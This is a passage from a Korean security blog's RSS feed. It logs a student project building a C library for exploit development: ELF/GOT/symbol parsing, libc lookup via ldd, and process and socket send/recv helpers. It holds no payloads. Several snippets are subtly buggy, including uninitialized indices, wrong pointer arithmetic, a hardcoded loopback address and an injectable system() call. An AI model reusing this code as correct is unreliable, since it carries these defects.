&lt;figure id=&quot;og_1623652504115&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;article&quot; data-og-title=&quot;코딩 중&quot; data-og-description=&quot;데이터의 패킹&amp;amp;언패킹 함수 구현과 process함수의 동작방식을 자세하게 구상해보았다. 내가 구현한 패킹&amp;amp;언패킹 함수는 이렇다. unsigned long long * p64(unsigned long long value){ unsigned long long * tmp =..&quot; data-og-host=&quot;youngsouk-hack.tistory.com&quot; data-og-source-url=&quot;https://youngsouk-hack.tistory.com/150&quot; data-og-url=&quot;https://youngsouk-hack.tistory.com/150&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/TBYP6/hyKzavQZHC/mx4Az2pCzEzuv1Frx7Rpwk/img.png?width=800&amp;amp;height=800&amp;amp;face=0_0_800_800,https://scrap.kakaocdn.net/dn/nDs4z/hyKxB9FjVi/kKxEkX30jGoeKWnhQpszCk/img.png?width=800&amp;amp;height=800&amp;amp;face=0_0_800_800,https://scrap.kakaocdn.net/dn/seMuN/hyKyVSYhnV/juv2n5KbJ1jTDhBhvvQSxK/img.jpg?width=2161&amp;amp;height=1960&amp;amp;face=0_0_2161_1960&quot;&gt;&lt;a href=&quot;https://youngsouk-hack.tistory.com/150&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://youngsouk-hack.tistory.com/150&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/TBYP6/hyKzavQZHC/mx4Az2pCzEzuv1Frx7Rpwk/img.png?width=800&amp;amp;height=800&amp;amp;face=0_0_800_800,https://scrap.kakaocdn.net/dn/nDs4z/hyKxB9FjVi/kKxEkX30jGoeKWnhQpszCk/img.png?width=800&amp;amp;height=800&amp;amp;face=0_0_800_800,https://scrap.kakaocdn.net/dn/seMuN/hyKyVSYhnV/juv2n5KbJ1jTDhBhvvQSxK/img.jpg?width=2161&amp;amp;height=1960&amp;amp;face=0_0_2161_1960');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;코딩 중&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;데이터의 패킹&amp;amp;언패킹 함수 구현과 process함수의 동작방식을 자세하게 구상해보았다. 내가 구현한 패킹&amp;amp;언패킹 함수는 이렇다. unsigned long long * p64(unsigned long long value){ unsigned long long * tmp =..&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;youngsouk-hack.tistory.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이전의 글에 이어 Process함수와 그 함수를 바탕으로 recv, send함수를 구현했다.&lt;/p&gt;
&lt;pre id=&quot;code_1623652596972&quot; class=&quot;c++ arduino&quot; data-ke-language=&quot;c++&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;void remote(char * ip, int port){
    int SocketNum = socket(PF_INET, SOCK_STREAM, 0);
    struct sockaddr_in    server_addr;
    
    if(SocketNum &amp;lt; 0){
        printf(&quot;Socket 오류&quot;);
        exit(0);
    }

    memset( &amp;amp;server_addr, 0, sizeof( server_addr));
    server_addr.sin_family = AF_INET;
    server_addr.sin_port = htons(port);
    server_addr.sin_addr.s_addr= inet_addr(ip);

    if (inet_pton(AF_INET, &quot;127.0.0.1&quot;, &amp;amp;server_addr.sin_addr) != 1) {
        printf(&quot;inte_pton&quot;);
        exit(0);
    }
    if( -1 == connect( SocketNum, (struct sockaddr*)&amp;amp;server_addr, sizeof( server_addr) ) )
    {
        printf( &quot;접속 실패\n&quot;);
        exit( 1);
    }
    fd[1][0] = SocketNum;
    fd[0][1] = SocketNum;
    
    printf(&quot;Set Connnection with %s:%d&quot;, ip, port);
}

int process(char * path){
    pid_t pid;
    if(pipe(fd[0]) &amp;lt; 0){
        printf(&quot;pipe error&quot;);
        exit(0);
    } 
    if(pipe(fd[1]) &amp;lt; 0){
        printf(&quot;pipe error&quot;);
        exit(0);
    } 
    
    switch(pid = fork()){
    case -1:
        printf(&quot;fork error&quot;);
        return -1;
    case 0:
        close(fd[1][0]);
        close(fd[0][1]);

        close(1);
        close(0);
        
        dup2(fd[1][1], STDOUT_FILENO);
        dup2(fd[0][0], STDIN_FILENO);
        
        execl(path, path, NULL);
    }

    close(fd[1][1]);
    close(fd[0][0]);

    char buf[1000];
    printf(&quot;[*] Starting local process... pid is %d\n&quot;, pid);
    return 0;
}

int Recvuntil(char * str, int print){
    int i = 0, len = strlen(str), cnt = 0; // i : index, len : source length, cnt : total recv amount
    char * tmp = (char * ) calloc(1, len);

    while(1){
        read(fd[1][0], tmp + i, 1);

        cnt++;
        if(print == 1) write(1, tmp + i, 1);
        if(*(tmp + i) == *(str + i)) i++;
        else i = 0;
        if(i == len - 1){
            free(tmp);
            return cnt;
        };
    }
}

char * Recv(int cnt, int print){
    char * tmp;
    int len;

    tmp = (char * ) calloc(1, cnt + 1); // cnt + 1 : NULL 문자 때문에
    len = read(fd[1][0], tmp, cnt);
    if(print == 1) printf(&quot;%s\n&quot;, tmp);

    return tmp;
}

int Send(char * str){
    return write(fd[0][1], str, strlen(str));
}

int Send32(char * str){ // 0 값을 보내기 위한 함수. strlen(&quot;\x00&quot;) = 0이기 때문
    return write(fd[0][1], str, 4);
}

int Send64(char * str){
    return write(fd[0][1], str, 8);
}

int Sendline(char * str){
    int len;
    char * tmp = (char * ) calloc(1, strlen(str) + 2); // strlen(str) + 2 : '\n' 개행 문자 , NULL 때문에

    strcpy(tmp, str);
    strcat(tmp, &quot;\n&quot;);
    len = Send(tmp);
    free(tmp);
    return len;
}&lt;/code&gt;&lt;/pre&gt;</description>
      <category>1인 1프로젝트</category>
      <author>youngsouk</author>
      <guid isPermaLink="true">https://youngsouk-hack.tistory.com/151</guid>
      <comments>https://youngsouk-hack.tistory.com/151#entry151comment</comments>
      <pubDate>Tue, 25 May 2021 10:44:49 +0900</pubDate>
    </item>
    <item>
      <title>코딩 중</title>
      <link>https://youngsouk-hack.tistory.com/150</link>
      <description>&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;데이터의 패킹&amp;amp;언패킹 함수 구현과 process함수의 동작방식을 자세하게 구상해보았다.&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;내가 구현한 패킹&amp;amp;언패킹 함수는 이렇다.&lt;/p&gt;
&lt;pre id=&quot;code_1623652077480&quot; class=&quot;c++ arduino&quot; data-ke-language=&quot;c++&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;unsigned long long * p64(unsigned long long value){
    unsigned long long * tmp = malloc(sizeof(unsigned long long) + 1);
    *(tmp) = value;
    *(char *)(tmp + sizeof(unsigned long long)) = '\0';

    return tmp;
}

unsigned int * p32(unsigned int value){
    unsigned int * tmp = malloc(sizeof(unsigned int) + 1);
    *(tmp) = value;
    *(char *)(tmp + sizeof(unsigned int)) = '\0';

    return tmp;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;Process함수의 동작방식은&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;1. pipe함수를 2번 사용하여 읽기&amp;amp;쓰기용 파이프를 만든다&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;2. fork()를 통해 자식 프로세스를 실행한다.&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;3. 자식프로세스와 &amp;amp; 부모 프로세스는 자신에게 불필요한 파이프를 닫는다.&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;4. 자식프로세스에서 execl()함수를 통해 해킹 대상 프로그램을 실행한다.&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;5. 자식프로세스에서 자신의 표준 입력 &amp;amp; 쓰기를 닫고 1번과정에서 생성한 파이프로 표준 입력&amp;amp;쓰기를 재설정한다.&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;이정도로 구상하고 있다.&lt;/p&gt;</description>
      <category>1인 1프로젝트</category>
      <author>youngsouk</author>
      <guid isPermaLink="true">https://youngsouk-hack.tistory.com/150</guid>
      <comments>https://youngsouk-hack.tistory.com/150#entry150comment</comments>
      <pubDate>Tue, 11 May 2021 09:40:54 +0900</pubDate>
    </item>
    <item>
      <title>코딩 중</title>
      <link>https://youngsouk-hack.tistory.com/149</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://youngsouk-hack.tistory.com/149&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;2021.05.10 - [1인 1프로젝트] - 코딩 시작&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1623651904250&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;코딩 시작&quot; data-og-description=&quot;&quot; data-og-host=&quot;youngsouk-hack.tistory.com&quot; data-og-source-url=&quot;https://youngsouk-hack.tistory.com/149&quot; data-og-url=&quot;https://youngsouk-hack.tistory.com/149&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/KCQAI/hyKxIHILRj/mYdCRaJVqaFURkL9Go3tx0/img.jpg?width=2161&amp;amp;height=1960&amp;amp;face=0_0_2161_1960&quot;&gt;&lt;a href=&quot;https://youngsouk-hack.tistory.com/149&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://youngsouk-hack.tistory.com/149&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/KCQAI/hyKxIHILRj/mYdCRaJVqaFURkL9Go3tx0/img.jpg?width=2161&amp;amp;height=1960&amp;amp;face=0_0_2161_1960');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;코딩 시작&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;youngsouk-hack.tistory.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이전에 했던 코딩에 이어서 GOT 정보를 얻어오는 함수를 구현하여 최종적으로 ELF의 정보들을 얻어오는 함수 및 구조체를 만들었다. 또한 해킹하고자 하는 프로그램이 사용한는 libc파일을 자동으로 얻어오는 함수를 구현했다.&lt;/p&gt;
&lt;pre id=&quot;code_1623651962804&quot; class=&quot;c++ arduino&quot; data-ke-language=&quot;c++&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;unsigned long long getGOT(GOT * got, char * target){
    if(__glibc_unlikely(got == 0)) return 0;
    for(int i = 0; (got + i) -&amp;gt; addr != 0 || (got + i) -&amp;gt; name != 0; i++){
        if(!(strcmp((got + i) -&amp;gt; name, target))) return (got + i) -&amp;gt; addr;
    }

    return 0;
}

SYM * findSYM(int fd, Section section){
    int i;
    Elf64_Shdr * dynsymSection = getSectionInfo(section, &quot;.dynsym&quot;);
    Elf64_Shdr * dynstrSection = getSectionInfo(section, &quot;.dynstr&quot;);
    Elf64_Sym * dynsym = malloc(dynsymSection -&amp;gt; sh_size);
    char * dynstr = malloc(dynstrSection -&amp;gt; sh_size);

    int SymbolCnt = (dynsymSection -&amp;gt; sh_size) / sizeof(Elf64_Sym);
    SYM * symbol = malloc(sizeof(SYM) * (SymbolCnt + 1)); //SymbolCnt + 1 : NULL 구조체 추가

    char * t;
    int NameOffset;

    lseek(fd, dynsymSection -&amp;gt; sh_offset, SEEK_SET);
    read(fd, dynsym, dynsymSection -&amp;gt; sh_size);

    lseek(fd, dynstrSection -&amp;gt; sh_offset, SEEK_SET);
    read(fd, dynstr, dynstrSection -&amp;gt; sh_size);

    int idx;
    for(i = 0; i &amp;lt; SymbolCnt; i++){
        if(((dynsym + i) -&amp;gt; st_value) != 0){
            (symbol + idx) -&amp;gt; value = (dynsym + i) -&amp;gt; st_value;

            NameOffset = (dynsym + i) -&amp;gt; st_name;
            (symbol + idx) -&amp;gt; name = dynstr + NameOffset;
            idx++;
        }
    }
    (symbol + i) -&amp;gt; value = 0;
    (symbol + i) -&amp;gt; name = 0;

    return symbol;
}

unsigned long long getSYM(SYM * sym, char * target){

    if(__glibc_unlikely(sym == 0)) return 0;
    for(int i = 0; (sym + i) -&amp;gt; value != 0 || (sym + i) -&amp;gt; name != 0; i++){
        if(!(strcmp((sym + i) -&amp;gt; name, target)))return (sym + i) -&amp;gt; value;
    }

    return 0;
}

ELFInfo ELF(char * path){
    int fd = open(path, O_RDONLY);
    ELFInfo elf;

    elf.fd = fd;
    elf.filename = path;
    elf.section = findSectionHeader(fd);
    elf.got = findGOTInfo(fd, elf.section);
    elf.sym = findSYM(fd, elf.section);

    return elf;
}

ELFInfo getLibcELF(ELFInfo elf){
    char * LibcPath = malloc(1024);
    char * command = malloc(1024);
    int fd = open(&quot;.result.txt&quot;, O_RDWR | O_CREAT | O_TRUNC, 0644);
    ELFInfo LibcELF;
    char tmp;
    int i;

    sprintf(command, &quot;ldd %s &amp;gt;&amp;gt; .result.txt&quot;, elf.filename);
    if(system(command) == -1){
        printf(&quot;system() error&quot;);
        exit(0);
    }

    for(int i = 0; i &amp;lt; 2; i++){
        while(1){
            read(fd, &amp;amp;tmp, 1);
            if(tmp == '&amp;gt;') break;
        }
    }
    
    for(int i = 0; i&amp;lt; 2; i++){
        i = 0;
        while(1){
            read(fd, &amp;amp;tmp, 1);
            if(tmp == ' ') break;
            *(LibcPath + i) = tmp;
            i++;
        }
    }
    
    LibcELF = ELF(LibcPath);

    return LibcELF;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>1인 1프로젝트</category>
      <author>youngsouk</author>
      <guid isPermaLink="true">https://youngsouk-hack.tistory.com/149</guid>
      <comments>https://youngsouk-hack.tistory.com/149#entry149comment</comments>
      <pubDate>Mon, 10 May 2021 15:33:19 +0900</pubDate>
    </item>
    <item>
      <title>코딩시작</title>
      <link>https://youngsouk-hack.tistory.com/146</link>
      <description>&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;ELF 파일 구조체에 대한 공부를 해서 ELF 섹션 정보와 GOT 정보를 얻어오는 함수들을 구현했다.&lt;/p&gt;
&lt;pre id=&quot;code_1623651777227&quot; class=&quot;c++ arduino&quot; data-ke-language=&quot;c++&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;typedef struct Section{
    Elf64_Half SectionCnt;
    Elf64_Half SectionStringIndex;
    char * SectionName;
    Elf64_Shdr * SectionHeader;
}Section;

typedef struct got{
    char * name;
    unsigned long long addr;
} GOT;

typedef struct sym{
    char * name;
    unsigned long long value;
}SYM;

typedef struct elfinfo{
    int fd;
    char * filename;
    Section section;
    GOT * got;
    SYM * sym;
}ELFInfo;

Section findSectionHeader(int fd){
    Section section;
    Elf64_Off * SectionHeader = malloc(sizeof(Elf64_Off));
    Elf64_Half * SectionCnt = malloc(sizeof(Elf64_Half));
    Elf64_Half * SectionStringIndex = malloc(sizeof(Elf64_Half));
    Elf64_Shdr * SectionInformation;
    char * SectionName;
    
    //ELF 헤더
    lseek(fd, offsetof(Elf64_Ehdr, e_shnum), SEEK_SET);
    read(fd, SectionCnt, sizeof(Elf64_Half));
    section.SectionCnt = *SectionCnt;
    SectionInformation = malloc(*SectionCnt * sizeof(Elf64_Shdr));
    section.SectionHeader = SectionInformation;

    lseek(fd, offsetof(Elf64_Ehdr, e_shoff), SEEK_SET);
    read(fd, SectionHeader, sizeof(Elf64_Off));

    lseek(fd, offsetof(Elf64_Ehdr, e_shstrndx), SEEK_SET);
    read(fd, SectionStringIndex, sizeof(Elf64_Half));
    section.SectionStringIndex = *SectionStringIndex;

    //색션 정보 얻기
    lseek(fd, *SectionHeader, SEEK_SET);
    read(fd, SectionInformation, sizeof(Elf64_Shdr) * *SectionCnt);

    Elf64_Shdr * SectionString = SectionInformation + *SectionStringIndex;
    lseek(fd, SectionString -&amp;gt; sh_offset, SEEK_SET);
    SectionName = malloc(SectionString -&amp;gt; sh_size);
    read(fd, SectionName, SectionString -&amp;gt; sh_size);
    section.SectionName = SectionName;

    return section;
}

Elf64_Shdr * getSectionInfo(Section section, char * name){
    for(int i = 0; i &amp;lt; section.SectionCnt; i++){
        if(!strcmp(section.SectionName + ((section.SectionHeader + i) -&amp;gt; sh_name),name)) return section.SectionHeader + i;
    }
    
    return 0;
}

GOT * findGOTInfo(int fd, Section section){
    int i;

    Elf64_Shdr * PLTRelSection = getSectionInfo(section, &quot;.rela.plt&quot;);
    if(PLTRelSection == 0) return 0;
    Elf64_Shdr * dynsymSection = getSectionInfo(section, &quot;.dynsym&quot;);
    Elf64_Shdr * dynstrSection = getSectionInfo(section, &quot;.dynstr&quot;);

    Elf64_Rela * PLTRel = malloc(PLTRelSection -&amp;gt; sh_size);
    Elf64_Sym * dynsym = malloc(dynsymSection -&amp;gt; sh_size);
    char * dynstr = malloc(dynstrSection -&amp;gt; sh_size);

    int SymOffset; // got 주소 얻는데 사용
    int NameOffset;

    int FunctionCnt = (PLTRelSection -&amp;gt; sh_size) / sizeof(Elf64_Rela);
    GOT * got = malloc(sizeof(GOT) * (FunctionCnt + 1)); //FunctionCnt + 1 NULL 구조체 추가

    lseek(fd, PLTRelSection -&amp;gt; sh_offset, SEEK_SET);
    read(fd, PLTRel, PLTRelSection -&amp;gt; sh_size);

    lseek(fd, dynsymSection -&amp;gt; sh_offset, SEEK_SET);
    read(fd, dynsym, dynsymSection -&amp;gt; sh_size);

    lseek(fd, dynstrSection -&amp;gt; sh_offset, SEEK_SET);
    read(fd, dynstr, dynstrSection -&amp;gt; sh_size);
    
    int idx = 0;
    for(i = 0; i &amp;lt; FunctionCnt; i++){
        if((PLTRel + i) -&amp;gt; r_offset != 0){
            (got + idx) -&amp;gt; addr = (PLTRel + i) -&amp;gt; r_offset;

            SymOffset = ELF64_R_SYM((PLTRel + i) -&amp;gt; r_info);
            NameOffset = (dynsym +  SymOffset) -&amp;gt; st_name;
            (got + idx) -&amp;gt; name = dynstr + NameOffset;
            idx++;
        }
    }
    
    (got + i) -&amp;gt; addr = 0;
    (got + i) -&amp;gt; name = 0;

    return got;
}
&lt;/code&gt;&lt;/pre&gt;</description>
      <category>1인 1프로젝트</category>
      <author>youngsouk</author>
      <guid isPermaLink="true">https://youngsouk-hack.tistory.com/146</guid>
      <comments>https://youngsouk-hack.tistory.com/146#entry146comment</comments>
      <pubDate>Tue, 27 Apr 2021 09:36:00 +0900</pubDate>
    </item>
    <item>
      <title>동작방식 설계</title>
      <link>https://youngsouk-hack.tistory.com/145</link>
      <description>&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;동작 방식을 설계해야 하는데 내가 기본적으로 구상하고 있는 기능들은 아래에 있다.&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;1. 데이터 패킹 &amp;amp; 언패킹 함수&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;2. socket 통신을 위한 remote 함수&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;3. 로컬 컴퓨터에서의 실행을 위한 Process 함수&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;4. retmote로 실행되는 프로그램의 출력을 얻어오는 recv, recvuntil 함수&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;5. retmote로 실행되는 프로그램에 값을 보내는 send, sendline함수&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;6. remote로 실행되는 프로그램과 표준 출력&amp;amp;표준 입력을 통해 상호작용하는 함수&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;7. 출력되는 값을 보기 편하게 하기 위한 hexdump 함수&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;기본적으로는 이정도 기능이 있다.&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;기본적인 동작방법은 아래의 순서와 같다.&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;1. ELFinfo 구조체에 ELF함수를 이용하여, GOT, SYM 등의 정보를 얻어온다.&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;2. remote 또는 process함수를 통해 원격 또는 로컬에서 해킹 대상 프로그램을 실행한다.&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;3. recv, send함수를 이용하여 해킹을 진행한다.&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;또한 내가 원하는 함수를 구현하기 위한 함수들을 정리해보면 이렇다.&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;process - fork(), dup2() 등&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;remote - socket(), connect() 등&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>1인 1프로젝트</category>
      <author>youngsouk</author>
      <guid isPermaLink="true">https://youngsouk-hack.tistory.com/145</guid>
      <comments>https://youngsouk-hack.tistory.com/145#entry145comment</comments>
      <pubDate>Mon, 26 Apr 2021 15:39:06 +0900</pubDate>
    </item>
    <item>
      <title>구조체 설계</title>
      <link>https://youngsouk-hack.tistory.com/144</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;ELF &amp;nbsp;섹션 정보 구조체&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 섹션 갯수&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 섹션 Index&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- &amp;nbsp;섹션 이름&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 섹션 헤더&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;GOT 정보 구조체&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 이름 문자열 포인터&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 주소값&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;SYM 정보 구조체&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 이름 문자열 포인터&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 값&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ELF 파일 정보 구조체&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- fd 값&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 파일 이름 포인터&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;-섹션 정보&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- GOT 정보&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- SYM 정보&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이런 정보를 바탕으로 구조체 설계를 해본 결과는&lt;/p&gt;
&lt;pre id=&quot;code_1623650893711&quot; class=&quot;c++ arduino&quot; data-ke-language=&quot;c++&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;typedef struct Section{
    Elf64_Half SectionCnt;
    Elf64_Half SectionStringIndex;
    char * SectionName;
    Elf64_Shdr * SectionHeader;
}Section;

typedef struct got{
    char * name;
    unsigned long long addr;
} GOT;

typedef struct sym{
    char * name;
    unsigned long long value;
}SYM;

typedef struct elfinfo{
    int fd;
    char * filename;
    Section section;
    GOT * got;
    SYM * sym;
}ELFInfo;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이런 식으로 된다.&lt;/p&gt;</description>
      <category>1인 1프로젝트</category>
      <author>youngsouk</author>
      <guid isPermaLink="true">https://youngsouk-hack.tistory.com/144</guid>
      <comments>https://youngsouk-hack.tistory.com/144#entry144comment</comments>
      <pubDate>Tue, 20 Apr 2021 09:36:30 +0900</pubDate>
    </item>
    <item>
      <title>프로그래밍 언어 복습</title>
      <link>https://youngsouk-hack.tistory.com/143</link>
      <description>&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://modoocode.com/231&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://modoocode.com/231&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1623650251649&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;씹어먹는 C 언어 시작하기&quot; data-og-description=&quot;&quot; data-og-host=&quot;modoocode.com&quot; data-og-source-url=&quot;https://modoocode.com/231&quot; data-og-url=&quot;https://modoocode.com/231&quot; data-og-image=&quot;&quot;&gt;&lt;a href=&quot;https://modoocode.com/231&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://modoocode.com/231&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url();&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;씹어먹는 C 언어 시작하기&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;modoocode.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 사이트의 예제들을 눈으로 훏어보고 포인터를 활용하는 간단한 프로그램들을 만들어보면서 기억을 되살렸다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;또한 이전에 풀었던 해킹 문제 writeup 글들과 리눅스 라이브러리 코드 글들을 보면서 해킹 지식을 기억하려고 노력했다.&lt;/p&gt;
&lt;pre id=&quot;code_1623650526292&quot; class=&quot;c++ arduino&quot; data-ke-language=&quot;c++&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;

#define	BUF_SIZE	100

int main()
{
	FILE *fp = NULL;
	FILE *fp2 = NULL;
	int nbyte=0;
	char buf[BUF_SIZE]={0, };

	// file open
	fp = fopen(&quot;./proto.c&quot;,&quot;rb&quot;);
	if ( fp == NULL )
	{
		printf(&quot; fopen() error \n&quot;);
		exit(0);
	}

	fp2 = fopen(&quot;./p.txt&quot;,&quot;wb&quot;);
	if ( fp2 == NULL )
	{
		printf(&quot; fopen() error \n&quot;);
		exit(0);
	}


	// Read data from proto.c :  BUF_SIZE
	while(1) 
	{
		memset(&amp;amp;buf, 0, BUF_SIZE);
		// file read
		nbyte = fread(buf, 1, BUF_SIZE, fp);
		if ( nbyte &amp;lt;= 0 ){
		       	break;
		}
		// new file write
		fwrite(buf, 1, nbyte, fp2);
	}

	fclose(fp);
	fclose(fp2);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 코드를 작성하면서 memset, scanf, FILE IO, socket 등에 대한 지식을 되살렸다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 코드 외에도 github에서 C언어로 짜여진 프로그램 분석을 열심히 했다.&lt;/p&gt;</description>
      <category>1인 1프로젝트</category>
      <author>youngsouk</author>
      <guid isPermaLink="true">https://youngsouk-hack.tistory.com/143</guid>
      <comments>https://youngsouk-hack.tistory.com/143#entry143comment</comments>
